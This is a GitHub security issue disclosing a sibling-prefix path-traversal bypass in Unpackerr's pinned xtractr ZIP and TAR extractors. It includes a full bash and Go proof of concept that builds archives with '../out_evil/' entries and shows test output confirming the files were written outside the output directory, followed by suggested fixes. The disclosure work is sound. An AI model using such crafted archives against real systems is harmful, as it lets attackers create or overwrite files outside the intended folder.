Skip to content

Unpackerr pinned xtractr prefix boundary bypass #641

Description

@br0x2

Unpackerr pinned xtractr prefix boundary bypass

Summary

Current Unpackerr still pins golift.io/xtractr v0.3.2, whose ZIP and TAR extractors use strings.HasPrefix(cleanPath, OutputDir) after joining archive names to the output root.

Details

I reproduced this against the tested upstream commit. Tested commit:

63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd (2026-06-14T21:29:40-07:00)

Relevant code path:

  • unpackerr/go.mod lines 20-26: unpackerr currently depends on golift.io/xtractr v0.3.2 for archive extraction.
  • files.go lines 794-805: xtractr.clean() builds the destination path with filepath.Clean(filepath.Join(OutputDir, filePath)).
  • zip.go lines 98-105: ZIP extraction accepts a path when strings.HasPrefix(cleanPath, OutputDir) succeeds, which is vulnerable to sibling-prefix bypass.

Root cause:

unpackerr pins golift.io/xtractr v0.3.2. In that version, xtractr computes the output path with filepath.Clean(filepath.Join(OutputDir, entryName)) and then validates it with strings.HasPrefix(cleanPath, OutputDir). This comparison is not separator-aware, so names like '../out_evil/escaped.txt' resolve to a sibling path such as '/.../out_evil/escaped.txt' that still begins with the string '/.../out'.

Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.

Reproduction

The following script fresh-clones Unpackerr, checks out the tested commit, adds a temporary Go test inside pkg/unpackerr, and calls the exact pinned xtractr ExtractZIP() and ExtractTar() APIs.

#!/usr/bin/env bash
set -euo pipefail

UNPACKERR_COMMIT="63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd"

workdir="$(mktemp -d)"
cleanup() {
  set +e
  chmod -R u+w "$workdir" 2>/dev/null || true
  rm -rf "$workdir"
}
trap cleanup EXIT

git clone --quiet https://github.com/Unpackerr/unpackerr.git "$workdir/unpackerr"
cd "$workdir/unpackerr"
git checkout --quiet "$UNPACKERR_COMMIT"

cat > pkg/unpackerr/xtractr_prefix_boundary_test.go <<'GO'
package unpackerr

import (
	"archive/tar"
	"archive/zip"
	"bytes"
	"os"
	"path/filepath"
	"testing"

	"golift.io/xtractr"
)

func writeZipWithTraversal(t *testing.T, path string) {
	t.Helper()
	var buf bytes.Buffer
	zw := zip.NewWriter(&buf)
	w, err := zw.Create("../out_evil/escaped_zip.txt")
	if err != nil {
		t.Fatal(err)
	}
	if _, err := w.Write([]byte("UNPACKERR-ZIP-PREFIX-BYPASS")); err != nil {
		t.Fatal(err)
	}
	if err := zw.Close(); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil {
		t.Fatal(err)
	}
}

func writeTarWithTraversal(t *testing.T, path string) {
	t.Helper()
	var buf bytes.Buffer
	tw := tar.NewWriter(&buf)
	payload := []byte("UNPACKERR-TAR-PREFIX-BYPASS")
	if err := tw.WriteHeader(&tar.Header{Name: "../out_evil/escaped_tar.txt", Mode: 0644, Size: int64(len(payload))}); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(payload); err != nil {
		t.Fatal(err)
	}
	if err := tw.Close(); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil {
		t.Fatal(err)
	}
}

func TestCurrentPinnedXtractrPrefixBoundaryBypass(t *testing.T) {
	base := t.TempDir()
	out := filepath.Join(base, "out")
	if err := os.MkdirAll(out, 0755); err != nil {
		t.Fatal(err)
	}

	zipPath := filepath.Join(base, "malicious.zip")
	tarPath := filepath.Join(base, "malicious.tar")
	writeZipWithTraversal(t, zipPath)
	writeTarWithTraversal(t, tarPath)

	_, _, zipErr := xtractr.ExtractZIP(&xtractr.XFile{FilePath: zipPath, OutputDir: out, FileMode: 0644, DirMode: 0755})
	_, _, tarErr := xtractr.ExtractTar(&xtractr.XFile{FilePath: tarPath, OutputDir: out, FileMode: 0644, DirMode: 0755})

	zipEscaped := filepath.Join(base, "out_evil", "escaped_zip.txt")
	tarEscaped := filepath.Join(base, "out_evil", "escaped_tar.txt")
	zipData, zipReadErr := os.ReadFile(zipEscaped)
	tarData, tarReadErr := os.ReadFile(tarEscaped)

	t.Logf("OUTPUT_DIR=%s", out)
	t.Logf("ZIP_ERR=%v", zipErr)
	t.Logf("ZIP_ESCAPED=%s", zipEscaped)
	t.Logf("ZIP_ESCAPED_EXISTS=%t", zipReadErr == nil)
	t.Logf("ZIP_ESCAPED_CONTENT=%s", string(zipData))
	t.Logf("TAR_ERR=%v", tarErr)
	t.Logf("TAR_ESCAPED=%s", tarEscaped)
	t.Logf("TAR_ESCAPED_EXISTS=%t", tarReadErr == nil)
	t.Logf("TAR_ESCAPED_CONTENT=%s", string(tarData))

	if zipErr != nil || tarErr != nil {
		t.Fatalf("expected current pinned xtractr extraction to accept sibling-prefix traversal, got zip=%v tar=%v", zipErr, tarErr)
	}
	if string(zipData) != "UNPACKERR-ZIP-PREFIX-BYPASS" || string(tarData) != "UNPACKERR-TAR-PREFIX-BYPASS" {
		t.Fatalf("expected escaped files to be written outside output dir")
	}
}
GO

go test ./pkg/unpackerr -run TestCurrentPinnedXtractrPrefixBoundaryBypass -count=1 -v

Observed result:

=== RUN   TestCurrentPinnedXtractrPrefixBoundaryBypass
    xtractr_prefix_boundary_test.go:73: ZIP_ERR=<nil>
    xtractr_prefix_boundary_test.go:75: ZIP_ESCAPED_EXISTS=true
    xtractr_prefix_boundary_test.go:76: ZIP_ESCAPED_CONTENT=UNPACKERR-ZIP-PREFIX-BYPASS
    xtractr_prefix_boundary_test.go:77: TAR_ERR=<nil>
    xtractr_prefix_boundary_test.go:79: TAR_ESCAPED_EXISTS=true
    xtractr_prefix_boundary_test.go:80: TAR_ESCAPED_CONTENT=UNPACKERR-TAR-PREFIX-BYPASS
--- PASS: TestCurrentPinnedXtractrPrefixBoundaryBypass
PASS

Expected Behavior

Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.

Observed Behavior

Both ExtractZIP() and ExtractTar() succeed and write files into the sibling out_evil directory outside OutputDir.

Impact

A malicious archive processed through unpackerr's pinned extraction stack can create or overwrite files outside the intended extraction directory via sibling-prefix traversal.

Suggested Fix Direction

  • Update unpackerr to a fixed xtractr release once the path containment check is changed to a separator-aware resolved-path comparison.
  • Until then, patch the bundled extraction path validation to compare canonicalized paths with a trailing separator or path-component-aware containment test.
  • Add unpackerr regression coverage that exercises ZIP and TAR entries like '../out_evil/escaped.txt' through the exact extraction path used in production.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions